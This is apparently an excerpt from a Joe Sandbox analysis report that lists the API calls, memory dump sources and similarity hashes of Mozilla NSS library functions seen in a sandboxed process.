PR_SetError.NSS3(FFFFE013,00000000), ref: 6CFDAEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CFDAF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6D0F9500), ref: 6CFDAF23

Part of subcall function 6D02F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6D02F0C8
Part of subcall function 6D02F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6D02F122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CFDAF37

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 7f14632ac89ebb5d6f14fe87feee43e11db8b0c66133c659233348316640a840
Instruction ID: c2ce8363c90ba1cb1a295bcbe142e7a78910f5485946593c7427d47f59dd8f81
Opcode Fuzzy Hash: 7f14632ac89ebb5d6f14fe87feee43e11db8b0c66133c659233348316640a840
Instruction Fuzzy Hash: E4213A729092006BF7108E299C41B5A7BE4AF8572CF1A4314FD549F2C1E731E50587AB

Function 6D05EE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6D05EE85
realloc.MOZGLUE(8FA990EB,?), ref: 6D05EEAE
PORT_Alloc_Util.NSS3(?), ref: 6D05EEC5

Part of subcall function 6D030BE0: malloc.MOZGLUE(6D028D2D,?,00000000,?), ref: 6D030BF8
Part of subcall function 6D030BE0: TlsGetValue.KERNEL32(6D028D2D,?,00000000,?), ref: 6D030C15

htonl.WSOCK32(?), ref: 6D05EEE3
htonl.WSOCK32(00000000,?), ref: 6D05EEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6D05EF01

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: 5eca36f50863a6dde43dae41e9573251d541fe80d2c3a715f861f6841ffde1b5
Instruction ID: 37dafe12e18bfa26a7a4c5886099cbca1d70d7e237b83512425275f6f79c6510
Opcode Fuzzy Hash: 5eca36f50863a6dde43dae41e9573251d541fe80d2c3a715f861f6841ffde1b5
Instruction Fuzzy Hash: B6210231A04225AFEB109F28DD80B5AB7E4EF49358F058169ED48DF241E330EC20CBE2

Function 6D025ED0 Relevance: 9.1, APIs: 6, Instructions: 80stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(6D025D71), ref: 6D025F0A
TlsGetValue.KERNEL32 ref: 6D025F1F
EnterCriticalSection.KERNEL32(89000904), ref: 6D025F2F
PR_Unlock.NSS3(890008E8), ref: 6D025F55
PR_SetError.NSS3(00000000,00000000), ref: 6D025F6D
SECMOD_UpdateSlotList.NSS3(8B4274C0), ref: 6D025F7D

Part of subcall function 6D025220: TlsGetValue.KERNEL32(00000000,890008E8,?,6D025F82,8B4274C0), ref: 6D025248
Part of subcall function 6D025220: EnterCriticalSection.KERNEL32(0F6D0F0D,?,6D025F82,8B4274C0), ref: 6D02525C
Part of subcall function 6D025220: PR_SetError.NSS3(00000000,00000000), ref: 6D02528E
Part of subcall function 6D025220: PR_Unlock.NSS3(0F6D0EF1), ref: 6D025299
Part of subcall function 6D025220: free.MOZGLUE(00000000), ref: 6D0252A9

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$ListSlotUpdatefreestrlen
String ID:
API String ID: 3150690610-0
Opcode ID: 84d2ca07374712368e5914fba6affa661ecaa4b8e05466e9fae1d0de6ae21248
Instruction ID: 0353cd5666e2263c2fcb9b377efef8a038760e899461a8fd8f4ad8ffc8eecf08
Opcode Fuzzy Hash: 84d2ca07374712368e5914fba6affa661ecaa4b8e05466e9fae1d0de6ae21248
Instruction Fuzzy Hash: 362107B5C042049FEB109F64EC45BBEB7F4FF49318F554028E905A7200E731A954CB95

Function 6CFD7F50 Relevance: 9.1, APIs: 6, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CFD7F68

Part of subcall function 6D030FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CFD87ED,00000800,6CFCEF74,00000000), ref: 6D031000
Part of subcall function 6D030FF0: PR_NewLock.NSS3(?,00000800,6CFCEF74,00000000), ref: 6D031016
Part of subcall function 6D030FF0: PL_InitArenaPool.NSS3(00000000,security,6CFD87ED,00000008,?,00000800,6CFCEF74,00000000), ref: 6D03102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000002C), ref: 6CFD7F7B

Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D0310F3
Part of subcall function 6D0310C0: EnterCriticalSection.KERNEL32(?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03110C
Part of subcall function 6D0310C0: PL_ArenaAllocate.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031141
Part of subcall function 6D0310C0: PR_Unlock.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031182
Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CFD7FA7

Part of subcall function 6D02FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6D028D2D,?,00000000,?), ref: 6D02FB85
Part of subcall function 6D02FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6D02FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6D0F919C,?), ref: 6CFD7FBB

Part of subcall function 6D02B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6D1018D0,?), ref: 6D02B095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CFD7FCA
SEC_QuickDERDecodeItem_Util.NSS3(00000000,-00000004,6D0F915C,00000014), ref: 6CFD7FFE

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_Arena_DecodeQuickValue$AllocateCopyCriticalEnterErrorFreeInitLockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1489184013-0
Opcode ID: 3ed9deccfdef9440367280d78d6588b0026eaa543bdd0243ac069eee9741e92a
Instruction ID: e100801d30c0fff7af9b50b7ba1f39c004b3933dcb83a693c309042718b4c9a3
Opcode Fuzzy Hash: 3ed9deccfdef9440367280d78d6588b0026eaa543bdd0243ac069eee9741e92a
Instruction Fuzzy Hash: 38112471D092156BF7209A25AC80F7F77E8DF4865CF16062AED69CB681F720A544C2E2

Function 6CFDBE50 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6D05DC29,?), ref: 6CFDBE64

Part of subcall function 6D030FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CFD87ED,00000800,6CFCEF74,00000000), ref: 6D031000
Part of subcall function 6D030FF0: PR_NewLock.NSS3(?,00000800,6CFCEF74,00000000), ref: 6D031016
Part of subcall function 6D030FF0: PL_InitArenaPool.NSS3(00000000,security,6CFD87ED,00000008,?,00000800,6CFCEF74,00000000), ref: 6D03102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,6D05DC29,?), ref: 6CFDBE78

Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D0310F3
Part of subcall function 6D0310C0: EnterCriticalSection.KERNEL32(?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03110C
Part of subcall function 6D0310C0: PL_ArenaAllocate.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031141
Part of subcall function 6D0310C0: PR_Unlock.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031182
Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03119C

PORT_ArenaAlloc_Util.NSS3(00000000,?,?,?,?,6D05DC29,?), ref: 6CFDBE96

Part of subcall function 6D0310C0: PL_ArenaAllocate.NSS3(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03116E

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,?,6D05DC29,?), ref: 6CFDBEBB

Part of subcall function 6D02FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6D028D2D,?,00000000,?), ref: 6D02FB85
Part of subcall function 6D02FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6D02FBB1

PR_SetError.NSS3(FFFFE013,00000000,?,6D05DC29,?), ref: 6CFDBEDF
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6D05DC29,?), ref: 6CFDBEF3

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_Value$CopyCriticalEnterErrorFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 3111646008-0
Opcode ID: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction ID: 4f9747a8a86eea2be4a54b02ad37870dbd0a562c500dd13406707cf0c80059c1
Opcode Fuzzy Hash: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction Fuzzy Hash: 6511BB71E001165BFB008F659D41FAF3768DF45359F1A4424EE08DB680E771E905C7A1

Function 6D063C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6D065B40: PR_GetIdentitiesLayer.NSS3 ref: 6D065B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6D063D3F

Part of subcall function 6CFDBA90: PORT_NewArena_Util.NSS3(00000800,6D063CAF,?), ref: 6CFDBABF
Part of subcall function 6CFDBA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6D063CAF,?), ref: 6CFDBAD5
Part of subcall function 6CFDBA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6D063CAF,?), ref: 6CFDBB08
Part of subcall function 6CFDBA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6D063CAF,?), ref: 6CFDBB1A
Part of subcall function 6CFDBA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6D063CAF,?), ref: 6CFDBB3B

PR_EnterMonitor.NSS3(?), ref: 6D063CCB

Part of subcall function 6D099090: TlsGetValue.KERNEL32 ref: 6D0990AB
Part of subcall function 6D099090: TlsGetValue.KERNEL32 ref: 6D0990C9
Part of subcall function 6D099090: EnterCriticalSection.KERNEL32 ref: 6D0990E5
Part of subcall function 6D099090: TlsGetValue.KERNEL32 ref: 6D099116
Part of subcall function 6D099090: LeaveCriticalSection.KERNEL32 ref: 6D09913F

PR_EnterMonitor.NSS3(?), ref: 6D063CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6D063CF8
PR_ExitMonitor.NSS3(?), ref: 6D063D15
PR_ExitMonitor.NSS3(?), ref: 6D063D2E

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: 01b36a60e8f182fc3ffebd9cd46d2de28022be1f500a0a91c07f13c68801ec43
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: 2A115B75A106406FF7204E25FC41B6FB3E8EF19208F495534E51ACB221E233F815C3A2

Function 6D02FDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6D02FE08

Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D0310F3
Part of subcall function 6D0310C0: EnterCriticalSection.KERNEL32(?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03110C
Part of subcall function 6D0310C0: PL_ArenaAllocate.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031141
Part of subcall function 6D0310C0: PR_Unlock.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031182
Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6D02FE1D

Part of subcall function 6D0310C0: PL_ArenaAllocate.NSS3(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6D02FE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6D02FE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6D02FE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6D02FE6F

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: f1119ede0da10a8a33ddeabdcaa9ce32b3c87fbfc49e9ff3408f02ef20713985
Instruction ID: c92f6529eb9d4406776eb02dce2ef9c553eb6284219a118580cd371a8f62fa04
Opcode Fuzzy Hash: f1119ede0da10a8a33ddeabdcaa9ce32b3c87fbfc49e9ff3408f02ef20713985
Instruction Fuzzy Hash: E611E9B65052066BFF015F56EC41F6BB7DCAF583E5F058134E91887212E731D910C791

Function 6D0E8910 Relevance: 9.1, APIs: 6, Instructions: 55threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6D0E892E

Part of subcall function 6CFC0F00: PR_GetPageSize.NSS3(6CFC0936,FFFFE8AE,?,6CF516B7,00000000,?,6CFC0936,00000000,?,6CF5204A), ref: 6CFC0F1B
Part of subcall function 6CFC0F00: PR_NewLogModule.NSS3(clock,6CFC0936,FFFFE8AE,?,6CF516B7,00000000,?,6CFC0936,00000000,?,6CF5204A), ref: 6CFC0F25

PR_Lock.NSS3 ref: 6D0E8950

Part of subcall function 6D099BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CFC1A48), ref: 6D099BB3
Part of subcall function 6D099BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CFC1A48), ref: 6D099BC8

getprotobynumber.WSOCK32(?), ref: 6D0E8959
GetLastError.KERNEL32(?), ref: 6D0E8967
PR_GetCurrentThread.NSS3(?,?), ref: 6D0E896F
PR_Unlock.NSS3(?,?), ref: 6D0E898A

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CurrentThread$CriticalEnterErrorLastLockModulePageSectionSizeUnlockValuegetprotobynumber
String ID:
API String ID: 4143355744-0
Opcode ID: e4ac6803932886048f124eb6d3413a3d53fea8eed52048c62b923447e547b6cc
Instruction ID: 89adc783ef0e2cd2ed8fa91689b04c55e3c92818735e99974345cc2408b8235c
Opcode Fuzzy Hash: e4ac6803932886048f124eb6d3413a3d53fea8eed52048c62b923447e547b6cc
Instruction Fuzzy Hash: F311E9B2D141219FE7105FB4AD4075A3BA4EF863B4F0B42A5DD09A7261D7B08C51C7D6

Function 6D0DFD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6D0DFD9E

Part of subcall function 6D099BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CFC1A48), ref: 6D099BB3
Part of subcall function 6D099BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CFC1A48), ref: 6D099BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6D0DFDB9

Part of subcall function 6CFBA900: TlsGetValue.KERNEL32(00000000,?,6D1314E4,?,6CF54DD9), ref: 6CFBA90F
Part of subcall function 6CFBA900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CFBA94F

PR_Unlock.NSS3 ref: 6D0DFDD4
PR_Lock.NSS3 ref: 6D0DFDF2
PR_NotifyAllCondVar.NSS3 ref: 6D0DFE0D
PR_Unlock.NSS3 ref: 6D0DFE23

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: ef4033977aa627c8de2d0aef00345f867f50ac35c1bba67dd6fd4e754fb5eec7
Instruction ID: 5689dd6fe25d5b8ea0a9aa2b54eeff02097cd720d14ba56144c82d79cc8458db
Opcode Fuzzy Hash: ef4033977aa627c8de2d0aef00345f867f50ac35c1bba67dd6fd4e754fb5eec7
Instruction Fuzzy Hash: 0D01E1FAD04281AFEF254F15FC009157A72BB023687128335E9284B2E3E722DD24C681

Function 6D03B920 Relevance: 9.0, APIs: 6, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(0000000C,00000000,FFFFFFFF,?,6D03AD91), ref: 6D03B927

Part of subcall function 6D030D30: calloc.MOZGLUE ref: 6D030D50
Part of subcall function 6D030D30: TlsGetValue.KERNEL32 ref: 6D030D6D

PORT_ZAlloc_Util.NSS3(00000010), ref: 6D03B93B
PK11_GenerateRandom.NSS3(00000000,00000010), ref: 6D03B950

Part of subcall function 6D023F50: TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6D00E80C,00000000,00000000,?,?,?,?,6D018C5B,-00000001), ref: 6D023FA1
Part of subcall function 6D023F50: EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6D00E80C,00000000,00000000,?,?,?,?,6D018C5B,-00000001), ref: 6D023FBA
Part of subcall function 6D023F50: PR_Unlock.NSS3(?,00000000,00000000,00000000,?,6D00E80C,00000000,00000000,?,?,?,?,6D018C5B,-00000001), ref: 6D023FFE
Part of subcall function 6D023F50: PR_SetError.NSS3 ref: 6D02401A

PR_SetError.NSS3(FFFFE013,00000000), ref: 6D03B961
PR_SetError.NSS3(FFFFE013,00000000), ref: 6D03B96F
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6D03B97A

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_Value$CriticalEnterGenerateItem_K11_RandomSectionUnlockZfreecalloc
String ID:
API String ID: 3619055319-0
Opcode ID: f23b25f3f6ad3dee2c2ec0fc4be21a59d8eea69007335c1270049e45527e21e3
Instruction ID: 938d110662953a41813f4445abea8bce31c3f53c1de5404eb07704a54734fd19
Opcode Fuzzy Hash: f23b25f3f6ad3dee2c2ec0fc4be21a59d8eea69007335c1270049e45527e21e3
Instruction Fuzzy Hash: 60F0E9B6E5933322F630156AFC02F5A25C84B91B5DF074136FB4DE7281F685A01141B7

Function 6CFBAE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CFBAFDA

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CFBAFC4
unable to delete/modify collation sequence due to active statements, xrefs: 6CFBAF5C
misuse, xrefs: 6CFBAFCE
%s at line %d of [%.10s], xrefs: 6CFBAFD3

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: 024cad0a27860aa15f735f38ac8f62874ad7d322da4e6a184a292a90f2431046
Instruction ID: 4847dda67305a65e5d4fd61bb46a2daddc0ee39c335c433ceff260441889377b
Opcode Fuzzy Hash: 024cad0a27860aa15f735f38ac8f62874ad7d322da4e6a184a292a90f2431046
Instruction Fuzzy Hash: A591D075A052158FDB04CF6AC894BEABBF1BF49314F1944A8E865BB791D730AD01CB60

Function 6D01FC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6D01FC55
